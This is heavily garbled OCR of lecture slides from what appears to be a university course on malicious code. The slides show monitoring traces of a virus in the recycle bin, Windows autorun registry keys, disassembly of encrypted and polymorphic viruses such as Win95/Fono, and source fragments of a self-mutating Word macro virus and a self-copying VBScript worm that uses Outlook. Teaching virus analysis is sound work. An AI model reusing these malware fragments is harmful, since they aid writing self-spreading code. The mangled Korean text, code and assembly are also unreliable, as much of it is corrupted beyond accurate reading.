ENA oy 2 Al XSS 2 fGet->fOpen->fSeek->fClose & Ef &
Jrrdn = | adb e FindJpen LoPHUGHAM FILEDS TUREN 2% UKE., SULLEDD I okend.exe 237 23 11475 N — p o L R
37126 = 11:4%:16 77 FindClose C:APROGRAM FILESVTOKEN 2ATOKE. . SUCCESS - 238 =4 11475 .. wpn L A A L o conceno TING READW X
4 i e 4] ||
L © &Y. . © &Y.
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‘ — REGMON/NTREGMON
File Edit Options Help
= - = e == T = ANl =]
B RBE @ <2 | a4 | HrOl A0 28t eIXIAER §2 ¥ AMA 2LIEHE
# | Time [ Process | Request [Fath [ Fesutt [_ither - OlF{US £5 8t A O|= II 2HDIP ATES
- o = X2 NAZES
17 2® 124408 Si FindClose CARECYCLE DASIRC32 EXE SUCTESS SIERE SaHM 7 = AUS B(SM Al 0F)
18 =F 24409 Sir Delete CARECYCLEDVSIRC3ZEXE SUCCESS _ i ili
19 =F 124613  Esploer  Dpen CARECYCLEDVSIRC3ZEXE NOTFOUND OFEMEXISTIN ht WS Smtemls com/ntw2k/utilities.shtm| S
20 2F 124513 Esplorer  Open CARECYCLE DVSIRC3Z EXE NOTFOUND  OPENEXISTIN : EE
Esplorer C:\RECYCLE DVSIRCIZEXE NOTFOUND OPENEXISTIN Edit Qptions _Help
| REBED | 28 | ##F
73 =+ 124613  Eaploer  FindOpen CARECYCLE DVSIRESZ EXE NOTFOUND
24 2F 124513 Explorer  Athibutes CARECYCLE DVSIRC3Z EXE NOTFOUND  Getbthributes Time Process | Recuest] Path -
25 i: 1246132 Euxplorer  Attibutes CARECTCLEDVSIRCIZEXE MNOTFOUMD  Getétributes 18 415278562 | Direcicd. | JOpenkey HKCU\Software\Adaptec\DirectCONS. 0\Setiings
gg =2 }g;jg;g E“P:U'E' SDE” Etggggtggtg:ggggig :g%’:gﬁng SEEEEQEHE 19 415281551 | Directcd | Jauenyv.. HKCUVS daptec\DireciCONG.0 how |con in System Tray
#plorer pen 20 415286552 | Directed. | [Closekey HKCLASO daptec\DirectCONS. (\Seti
28 2F 124721  Mspaint  Read CARECYCLE DVSIRC3Z EXE SUCCESS  Dffsst: 32768 L 5 OEr |6 P 2 =/1T A
29 EF 124721  Mspant Read C:\RECYCLEDVSIRC3ZEXE SUCCESS  Offset: 32768 L g " 0 T2 0|1E(EZFAM _)
0 2F 124721 Mspaint  Read CARECYCLEDNSIRC32 EXE SUCCESS  Dffest: 4036 Le 22 415236972 | Directcd.§ fCreatek.. (IKCU\Software\AdapteciDire ctCDV5.0
A 2F 124721 Mspaint  Fead CARECYELEDASIRCIZ EXE SUCCESS  Offsst: 4096 Le 23 415300297 | Directod. § Openkey (IKCU\SoftwareAdaptec|Dire ctCO5.0\Settings
32 2F 124721 Mspaint  Read CARECYCLEDASIRCIZ EXE SUCCESS  Offsst 8192 Le 24 415302667 | Directcd. § JQuen/.. HIKCUVSe daptec\DirectCON5.0' how Icon in System Tray
33 2F 124721 Mspant  Read CARECYCLEDASIRCIZEXE SUCCESS  Offset: 36964 L 25 415305483 | Directcd § [Clnsekey HRCUS daptec\DirectCOV5.0\Setl
34 =F 124721 Mspant Fead CARECYCLEDVSIRC3ZEXE SUCCESS  Oifset: 245761 26 415300873 | Directed | [CloseKey HKOUVS oftware\AdapteciDireciCONS.0
36 2F 124721 Mspaint  Read CARECYCLE DVSIRC3Z EXE SUCCESS  Dffsst: 28672 L 27 415315486 | Directed | [Createk . HKOUVS oftware\AdapteciDireciCONVS.0
3 2F 124721 Mspaint  Read CARECYCLE DVSIRC3Z EXE SUCCESS  Dffset 12288 L 28 415318958 | Directed | fOpenkey HKOU\SoftwarelAdsy e i
7 23124720 Mepant  Fead CARECYCLEDSIRCR2 EXE SUSCES  Oifer 204201 29 415321249 | Directed | [Quensy. ROV ofwarevhd éﬂ:@%ﬂ@%&%AD WRITE)
. 30 415323959 | Directcd. ) JCloseKey HKCUAS daptec\DirectCONG. 1S ett
- Exefileshell\commandJt =& & ™ Adidi= b 31 415326780 | Directcd. | JCloseKey HKCUNSoftwarelAdapteciDireciCOiE.0
32 415331111 | Directed | ICreatek.. HKCUAS oftware\Adaptec\Dire ctCOVG.0
v =T mz Mo hot 25 ZEHAHUS
— 33 415334407 | Directed | JOpenkey HKCUAS oftware\Adaptec\Dire ctCOVG. 0\ Settings
| — = _‘I pat ll 5 SIRC32.EXE | O-I M B 34 415336698 | Directed. | Jouen. HKCUSo dlaptec|Dire ctCDNS.0 how Icon in System Tray
35 415339408 Directed. | fClosekey HKCUVS oftwarelAdapteciDirectCONG.04Settings
3 415342397 | Directod § Jolnsekey KCU\Sotware\Adaptec DirectCONG.0 =
4] | ny
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REGEDITS 24

- OIHY 82 BR UXNAEL SES Sol0 HEEA 48 == &
- EXAEZIHE AIAE 243 87 U HoFALSIS0| HEEA U8

- E0ILtUESRIDZ E4tL = HIOI2IAS2 BIEA SIXNAERE 0IE2F
- SR EZ0(Shared Folder)2| 32 & & &2 & Jts8t

xg l:

=

— HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

— HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

— HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
Ex

— HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServi
ces(Windows 9x/Me)

— HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServi
cesOnce(Windows 9x/Me)

— HKEY_LOCAL_MACHINE\Software\Microsoft\Windows Scripting Host\Locations
— HKEY_CURRENT_USER\Network
— HKEY_CLASSES_ROOT\exefile\shell\open\command

& |AER| WA =lolx|
BAIAER(R) MAE) 2RI SHITNE =S2HH
-1 Installer | [OIE [E8 ETI=]
-0 Internet Settings [aB) (71 =28 REG_S7 (2f &F o=l
{1 IntlRun [ab] 4daptecDirectCD  REG_SZ “C:Programn FilestAdaptecEasy
(3 IntlRun, OC [ab] Create CD50 REG_SZ "CiPragrarn FilesWComrmaon Files
&1 IPConfMEP [ab] LoadamM REG_SZ Ioadam, exe
4O IPCanfTEP Eh]Synchmmzalin,“ REG_S7 mobsync,exe flogon
D_g MEEU‘EUSEHE [a)sysmanhT REG_5Z "CWPROGR A~ 14 3Wsys moni T, &
100 MS-DOS Emulatio [ap] V35032 REG_SZ "CMPROGR A~ THYAWYIS D32 exe”
] NetCacha [ap] WinampAgent REG_SZ "CProgram FilesWWinampiWinar
- Mls
-1 policies
{0 Reliability
=t -
=1 OptionalCarnpc
L0 IMalL
{3 MAPI
L] MSFS
{7 RunOnce
{21 RunOnceEx
B Setup
{7 SharedDLLs
- Shell Extensions
-3 ShellCompatibility —
=1 ShellScrap -
[l » 4] | i}
[l & FEWHKEY_LOCAL_MACHINEWSOFTWAREW MicrosoftWWindowsWCurrentVersion#Run 4

- oEAY. . ©&AY.
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Lt d B0l H 24w Lt d B0l H £
ualg btolgj Al S FE BtolcA L
FE(YSE) + HOIZABEZ 24 CIEH 2EQ Yot 253|E HMPAIY
EIQE-I_J 40| 2H3| THE
HOIHADE=E SLUE 170E:0100 FA CLI
lei23 == 88 . 170E:0101 33C0 XOR
— KPA(Known Plaintext Attack)0| Jts& 170E:0103 8EDO MOV
170E:0105 BCO07C MoV
170E:0108 B7B8 MoV
170E:010A BE187C MOV
170E:010D 36 :
L2 HEA? 170€:010€ 303¢
E: EEFFFF
- 8 AIHE 2 170E:0114 FEC7
« Heuristic Method 170Efgﬁg 75F5
e Emulation Method 10119
« X-Ray Technique
Win95/Fono
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Cted g0l el L&

Cted 80l L

TLO
T8 IHE Holed X goon oimosses Loty apesse | casspaczse mar o
. .
_ =] 3Col oy orsSIy|I2 HXA 21 S2Z0F Z3DE S24E B0CZEE ADD DL, B8
CIZ0 DEo 272 B2718 HBANZ 5211 SEFE 8251 32CE XOR cL, DH
5213 BE@ELD >>MOV 51, 1D86 8253 B513 H B
000B 90 wop 003F SEDO o DX, AX 8216 BOF4FD >>HOR LH,FO 8255 30A4F064 | »>XOR [SI+64F0], AH [
0017 FB STI 0041 53 POP cx 5210 S1EOS76C |>>AND L, BC57 8259 46 > INC 51
ggii :ggg ﬁgg ;itgz ggzg ;g ig; s 521D BOFS18 TOR TH, 15 5254 02cC1 DD 3L, CL
et o 5 ax e o e - 8220 B1F37374 XOR BX, 7473 825C 32ZEC XOR CH, LH
R e i = o) = 8224 FECO7E TEST AL, 7B 825E BOCYSE OR. CL, 56
ooza sEco 047 8BDE Mow D, ET 5227 BDES4S e EP, 4885 8261 DZFE DD EH, DH
00zz SEDO [Q:EC@E EF2049 1iF rop DS 8zzk BOFSED HOR CH, EO 8263 BOEGST AND DH, 57
0024 BE4COD Ho 5I,004C 004L SBDO Hov DX, A% 522D SOF&&7 HOR DH, 67 8266 S1FEL1LZS | cnp 5I,2814 |
ggz; ZEFE iz‘lj R ;;ZCBE;D“’ Em”"“EdD; “““ = S230 B6D7 HCHG DL, EH S26L BEFD F B
00z A SEBED3 MoV DX:EX 004D ESETES CALL E737 SRl ek Sy TEST AL AC Shilde ko) Lo EBL, 5D
oozc B99z209 Mo CX,0992 00S0 E&ES OIT E6, AL 8235 32E4 >>XOR AH, AH S26E 85DB Z242s Bty
O0zF SEDS Mo DX,SI 0052 E&2D SUT 2D, AL SZ37 S0E431 = AND AH, 31 SZ70 75CS ==JNE G234
o003t Fe cLD 0054 E293 LOOP FFES 523k BEED THT TH,TH 8272 B1CEF7BS R BX, BSF7
0032 S8EDO MOV DX, &% 00Ss 52 PUSH DX 5230 32D4 ROR DL, &H
0034 AC LODSE o057 4
ooss Fo e T ENCRYPTE 823 80C7T9D  ADD  BE,3D
0036 34ES EOR AL,ES 0O0SA EAZDVEESES JHP EGES:7EZD -
003E SEDE Monr DE, BX OOSF 33ED HOR EE, BF S243 SOELZE WD CL,2E
0034 44 STOSE 0061 E3ES JCHE ooas g246 S0OFE42 CHP BL, 42 )
OD3E SEDS Mo DX, ST 008E 47 CHPSW Conniell
003D EZFS LOOR ao03 g 0064 EGEES oUT E6, AL
Argument cancelled
- © &Y. . © &Y.
ICE1212 - Mdlicious Code ) i R 93 ICE1212 - Mdlicious Code . — R 94
Information and Communications University Information and Communications University
E|'o<:> t”'Ola-I—ﬁ) El'oo I:”'Ola-l—(‘i)
4756 32DC XOR EL, LH A795 F7C33BAS  TEST BX, A93E
L@onmied | AND DL, EBH 4799 S1FBzZC4z CHMP BX, 422C %g:i gé EESH Cd iggs iéEamB? ‘;I;]; g)I(,B?FA
L7EL 3ACA CHF CL, DL A79D 2ZFE ALND EH, DH :
—— o 21,51 erE ShErrre T EP. 7C20 1085 29264512 3UB [l245],5F 10BE SESDASTD MOV O, [DI+TDAS]
&75E 80ECCT  SUB LH, 07 L7AZ 0AD1 oR DL, CL PR IRl . U BENESE A S s
4761 B1FFS7ES CHMP DI,E557 L7L4 BECT Mo AX. DT 10SE 57 PUOSH DI locz 55 PUSH EBF
A765 OZEL ADD CH, DL A7LE S1ESCAO7T|=»SUB C¥,07CA 108C D1EE SHR B, 1 10C3 295D4B7F 3UE  [DI+7F4E],EBX
L767 B7FS ZCHG SI,EBP LTRL B7D3 THG TZ, B L08E zZE C3: loc? 0zZFL ADD  DH,CL
L7699 B1EECA45 SUE ST,45Ch L7AC BOC4AL ALDD LH, 64 1058F BASF3T10 MOV  CL,[BX+1037] 10C9 51C07D1ES ADD DILESDL
476D 3BE7 CHF SP,DI ATAF 23EE AND BP,SI 1093 D3FB SAR B, CL 10CD 16 PUSH 33
L7EF BOCATL [o):] DL, 71 A7BE S1F80147  CMP LY, 4701 1085 FeD1 uOT CL 10CE 23DC LND  BX,SF
L772 BEFE36 jitetd BEX,36F6 A7C7 BOEQ4F LMD LL, 4F 10597 23DC AND EX,3P 1000 BAEZ MOV AH,DL
LTS BOCCZE OR LH, 2E ATCA 24D2 5UE DL, DL 1099 S81EEAE1E SUE  EX,1EA4E 10Dz 2939FE71l SUB  [EX+11ET7],BX
778 F7CE2749 TEST SI,4927 A7CC FECOZC TEST AL, 20 T — MOV D¥,EX 1006 BEEF MoV EP,DI
L7TC BAFC jitord EH, LH A7CF 30SEDEZ0 |>>XOR [BEF+300E] , CL | 109 2E e 1008 BFS7DC MOV DI,DCST
E;g ?;Egigsc ?EET if';glg Egg gggig i;; i;:; 1040 OOBTE4ZD ADD [EX+ZDE4],DH 10DE 8BD3 MOV D¥,B¥
Fers e o DH,AC ferr) On I - | 1044 OE POSH C5 100D O1ADF235 ADD [DI+35F2],EP
bere Cpnarean G e e Terl SR — e 1045 1F POP D3 10EL BAADE934 MOV CH,[DI+3459]
. ;
478C 3EBE1 cup 5P, Cx A7DC BOE4ADS AND LH, DB 1046 DESFF32D ROR WORD PTR [BR+2DF3]1,CL 10ES OBFA OF DI, DK
L7SE 0ZCEB >>ADD CL, BL ATDF SOFCCF CHE LH,CF IS T LU bR gl g LIl
4750 B1DS > MOV CL,D5 A7EZ S1FD9482 [>>CHP EFP, 3294 1OAC §OFE43  XOR DH, 43 10ES 299FDF11 SUE  [BX+11DF],EX
1792 BEOOFA now =T, FAO0 AL7EG TSDA >>JINZ A7CZ L10AF DIEA SHR D, 1 L0ED 03EC ALD  EF,5F
- EEEEE e 10Bl BAFF9Z MOV DX, 92FF 10EF D3D3 RCL  BX,CL
10E4 SEFL Mov DIDX 10F1 Z92E471:2 SUB [1247],EF FCL
. © &Y. - © ZnY.
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*TRACBAFATEVPCOPNS"
*MHCNGDEUHFSEKHHDESO "

TRKSHEHFULKS (13) = *PCNOABAMMOOKQVTO"
TRESHEHFULKS (14) = “PFNENJRCEFIKRAVGE™
TRESHEHFULKS (15) = *GMOGAPQFEUVE”
TRESHEHFULKS (16) = “MMCEBINRMOOBIATHI "
TRKSHEHFULKES (17) = “VLEMALAJIS®
TRESHEHFULKS (18) = * IJLKOLRHHHKE®
TRESHEHFULKS (13) = *TMLGCVGTHKSUEHE”
TRESHEHFULKS (20) = *VHKUOPIBRADCNIJDQRC ™
TRESHEHFULKS (21) = *QPTKIKEKMGUFROLL”

TRESHEHFULKS (22)
TRESHEHFULKS (23)
End Sub
Function QPTKIKEKMCUFRQLLS

TRACEAFATEVECOPHNES = *"

For MHGNGDEUHFSEEKHHDESC = PTKEVLAUNDCEQIKO To GKJHHGMDOC + End() *
GKJHHGMDOC : IRACEAFAIEVPCOPNSS = IRACBAFAIEVPCOFNSS + Chr$(Rnd({) *
MTKPLEVEJMMEU + CTMPQKVOTT) : Next MHGNGDEUHFSEKHHDESO
QDPTKIKBEEMOUFRQLLS = IRACEBAFAIEVPCOFNSS

End Function

Sub TMLOCVGTHESUEHE

ToolsMacro .Name = “AutoClose”, .Show = PTEEVLAUNDOEQIKO, .Edit
For MHCHNGDEUHFSEKHHDESO = VEQLEQKEFSPJHUIUQPG To CMSROVEBVLWVI
EditReplace .Find = TRESHEHFULKS$ (MHGNGDEUHFSBEKHHDESO), .Replace

QPTKIKBEEMOUFRQLLS, .Direction = VSQLEQKEFSPTHUIUQPZ, .MatchCase
PTEEVLAUNDOEQIKO, .WholeWord = VSQLEQEEFSEPJTHUIUQPG, .PatternMatch =
VSQLEQKEFSPJHUIUQFG, .Replaceall, .Format = VSQLEQKEFSPIHUIUQEG,
Wrap = PTEEVLAUNDOEQIEO

Mext MHCNGDEUHFSEEHHDESO

End Sub

~——ENCRYTED ————————m—mmmmmmm e ———— DECRYPTED —————m—————mmmmm
1235 9B WALT 1235 FB STI
1236 E1ES LOOPZ  LLFD 1236 OE PUSH  C3
1238 2E oE: 1237 IF POP DS
1239 54 FOF DX 1238 EEOOOOD Hov 51,0000
1234 S616EEAC MCHG DL, [ACEE] 123E ES3TAC Hov L, ACET
123E D53l AAD 31 123E B93108 MoV ¥, 0831
1240 BASETE nov DX, TESE lzal 3104 WOR [517,4%
1243 EBO9 e 124E 1243 EBOD Jue 1248
1245 83B6394E41l  XOR [BP+4E39],+41 1245 OSBEEF ADD LX,EFBE
1244 D7 WLAT 1z48 46 IHC 81
124F SDED3404 LEA DI,[DI+0434] 1249 EZFs LOOF 1z4l
124F CF IRET 124E ESSEFC Jup OEAC
1250 D3CB ROR EX,CL 124E O0SEED3 ADD 14X, DIEE
1252 ED m B, DX 1251 46 InC 8T
1253 D4EB A EE 125z 3104 WOR [517,4%

1254 EBEF Jue 1z45

FCL
=3 [=2]
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L d Bi0ld &

Oeld 22 gholgd A

Private Sub NL321_HJ3849()
On Error Resume MNext
Randomize

Dim rli(l To 14) As String

rl{l}) = *MP5220%: rl(2) = *“CJ7427": rl(3) = “DAT2E": rl(4) =
“IQ7B92": rl(5) = “HJ3B84%": rl(6) = “QC7ZZT"

rl(7) = “HB3056": rl(8) = *“0PB4%&8":: rl(2?) = “LB1524": rl(1l0) =
“EM17437: rl(ll) = “GR314": rl1l(1l2) = *NL22Z1": rli{l3) = “JJ6574":
r1{l4) = “S5I4859"

For = = 1 To 14

al = (Chr{&5 + Int(End * 22))) & (Chr{(5 + Int{(Rnd * 22Z))) & Int(Rnd

* 100} & Int{Rnd * 100)

Call HJ384%(al, rlix))

Next x

End Sub

Private Sub HJ3842 (514859, JJ6574 As String) ‘vwl.0

On Error Resume MNext

Dim MP5290 As Long: Dim CJ7427 As Long: Dim DA728 As Long: Dim
IQ7B92 As Long

With ActiveDocument.VEFrojeckt.VBComponants.Item(l) .CodeModule
MP5290 = 1: CJ7427 = 1: DAT28B = .CountOfLines: IQ789%2 =
Len(.Lines{.CountOfLines, 1))

Do While .Find(JJ6574, MP5290, CJ7427, DATZS, IQ7822, True)

L d BH0l A Lo

ATEE Hi0l2iA

rem yrvblncd bfbi pobrevdyy gkafi gqynlbtfn tdcfsmp xrbivi mloivopugl pviadmy nlsh sn whl gisdairw |h

Set akafi=CreateObiect( " Scripting.FileSystenObiect ) on error resume next
set nlsh=Createlbject("WScript.Shel |}

Set whl=CreateObiect("Outlook, Application”

Set gisdafrw=svh|.GetHameSpace ("HAPI")

set pviadmy=akafi.getspecialfolder(1):nish.RegWrite "HKEY_CURRENT_USERMS0ftwarediMicrosoft#¥indows Scr
Set bfbi=akafi.OpenTextFilei{WScript . ScriptFul Iname,
yrvbkncd=bfbj.readline

pobr=vdyy=bfbj.ReadAl |

pobrisvdyy= yrvbkncd&vbCrLf&pUb revdyy

aynlbtfn=5e1it{yrvbkncd,

For i=1 To UBound{avnibtin}

Randaonize

wrbivi=int (And()+8+2}

Do

tdcfamp=""

For §=1 Ta wrbivi

tdefsmp=tdefsmp&Chr (37 Int (Fnd(}+26))

Hext

Loop While Hot InStr(1.pobrxvdyy, tdctsme)=0
pobrxvdyy=Rep|ace(pobrxvdyy,aynibt fn(i), tdcfsnp)

Hext

bibj.close

set bfbj=akafj.CreateTextFile(pviadny& #nlojvopugl vbs"):bfbi.close
sat bfhi=gkafi.OpenTextFilelpyiadnyd #nlaojyvopual . vhs", 2)
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Cta & Hh0l 2 A

Cta & HH0l 2 Ay

o O ‘5»“ o O
0848EBBB(A5) E903000088 jmp 48eB08 B8413000(05) EYSB000000 jmp 413868
BB84130605(05) EP35000000 jmp 41383F
BB48EBBF(82) 22E9 and ch,cl i BB41300A(06) BF8700000000 ja ¥13ei8
0848EBA9(02) B408 add al,ee Bo413010(05) EPO7000000 jmp 41381c
OB48E0BB(A2) ©068 add [eax],al aeu13815(81) 9D popfd
OB4SEBOD(01) FA4 hlt = Be413016(02) FF78 <invalid>
OB48BEBBE(A5) A26553E963 mov [3e95365],al 88413018(81) 54 push esp
BO4SER13(02) ©0688 add [eax],al £ aeu13@19{@1) EE out dx,al
BO4BE015(02) 0631 add [ecx],dh . 8841301A(05) BDEFEYA100 or eax,lefe?
BO4BEB17(18) 8199E904B0B00B1ESSDI sbb dword ptr [ecx+BOBBALEY],d3851e08 & 8841301F(02) 8888 add [eax],al
DONSEB21(082) B2E9 add ch,cl ! oou13621(81) €3 ret
BO4SER23(A5) B5ABBABAT2 add eax,72600008 BOL13022(65) E9BLABANAN imp 413020
PB4BEA28(02) CD57 int 857 3 PO413027(01)  F8 olc
DONSEB2A(B2) BG6YF mov dh,9F 98413028(02) E46A in al,6R
BB48EB2C(A6) BFSC12000000 j1 u4Beduiy 00413062A(02) BAES nov cl.E8
B848EB32(A5) EYAS000088 jmp 48eB3c ’
DONSEB3IF(01) LE dec esi ¥ X X
0041302D(02) FFFF <invalid>
OB4BEG3B(A3) BI4ABT add ecx,[edx+800887] 0041302F(02) FFOF dec duord ptr [edi]
GP48EB3B({A2) B8BEE? mov gs,Ccx
aB413831(02) 8588 test [eax],eax
BO4SEA3D(A2) B388 add eax,[eax]
o BB413033(02) 0000 add [eax],.,al
OB48EB3F(82) 0068 add [eax],al
BBASE 041 B84130835(02) OBE? add cl,ch
sl pop ds 06413637(02) 6300 dd
BB4SEBL2(82) 6GAB1 push BBEE1 aamsaso(uz) P add Ea""[ea:]
ODASEDMN(06)  OFSC24000000 T aeste BBH13B3B:06; BF8275C30F8C ;b Sggal]::]}l;:
DO4SEOBUA(B6) OFEE12000000 jle 48e062 i i
popibinib et Sl o ot L Win95/Fono 96413041(05) 150090800F adc eax,F000000 Win95/Fono
a3 AOMA2IANAT DY 2nan toct Taavl al
L © &Y. . © &Y.
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l:l' I:”'OIE‘I —__(13) l:l'o o t”'Ola-I —(14)
ae8e8188( 83) BE&6L2C mov ax,2Coéh
09E0e183(83F) BAS105 mou dx, @551 Ctai A B0 A 8IS D=
00000106(03) BO4M1EB mou cx,EBu1
00000109(03) B9AD93 mou cx,93AD
8886861 08C(83) BFHEAT mov di,A74E - ;c |:||D|_ al j:"él-lé'l
AO800818F (83) BB4AET mou bx,E74A - =
aa888112(83) BFLEDS mov di,DSLE
00000115(03) BEBCAY2 mou bx,92CA = JCco| EXI2 |5
000006118(03) BFGEE2 mou di,E26E * HHOIZHADEOHRIE RES SHFE 018
0000011B( 03) BE329E mou bx.9E32
88008611E{ 83} BBABEF mou bx,EFAB = = or= Ql Ol= HIHHS ==5}
aeeas121¢a83) BEBES 0 mouv ax,58B8 M KPAE 0|o0|'03| .:Qal =02 OI‘='E "'s%
80808124 03) BDSASEH mov bp.5BSA
00000127 (03) B93DFS mou cx,F53D = o = N P
0000012A(03) BFG6OCS mou di.C868 - Cl F NS EME0SE = US
a8aee812D{83) BE7811 mov ax,1178
ae8e8138(83) BDEEZ26 mov bp,26EE = =
88888133 (83) BDG&7D6G mov bp,D667 - OPCODE——I L—lEL—ﬂI% Olg&l. iE }_%F
80000136 ( 93) BD32Z 8D mov bp.B8D32
00000139(03) BBEOF9 mou bx,F9E@ _ _ -
0000013C(03) BE0O8S33 mou ax,3308 e dIXIAESR L2 HStE DE BHE0 20LIi= UEH EE
8888813F ( 83) BDB631 mov bp,31B6
aa888142(83) BFCE8AB mov di,ABCS J- A0 1A Too A -
aeeaa1as{ a3) BD22 86 mou bp, 8622 ¢ Ol A X ol
086068148(83) BEACOF mou bx,9FAC =2 U8 d Bolei &0t AEE = UAS
0000014B(03) BE1738 mov si, 3817
000001ME{04) 81DBSZEE sbb bx,EE82 ol A ME Xc
AEEE8152(8Aa) B1D24541 adc dx,h14% * OPCODE'—I-E jl’xl:’— tl}OIBi_ 01_'_ '—I‘—I.
88888156 ( 84) 81D6BB1A adc si,1ABB
a888815A( 84) B81F151FD xor cx.FDS1 [ SteH
0000015E(O4) 81F17DAA xor cx,AA7D . nE XEHY
00000162(02) EBO4 imp 0168 Win95/Fono
a0eeA164(83) E8S3Can call B8ba3 =
o HIOIZADI K= 2E X8 SH2 0L 0IE
. © &Y. - ©o&Egny
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BFD4 O 5 C HE |tl|-D Ot /5 C HE
DlEl_:| ﬁo—jl—_l:om D = 2 ﬁo_jl__Eom)

J=AA0 el 0l J=ARI 2 0lR
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e HlECI2 Eel A4S &4 2RI 2EE s ME UMD FR0ILA AHIE S =0 2 XX &
« BONO2 IS 3JI10t 3 HIS0I& A0l RS =
o AMA AIAEI NS M5 Qoloz XgEt — S4B HMEXIL WA XS HEE HAESIH MEE
= o AMAEIRIAAZ Q0| QREOCZ AZSH0 EOE
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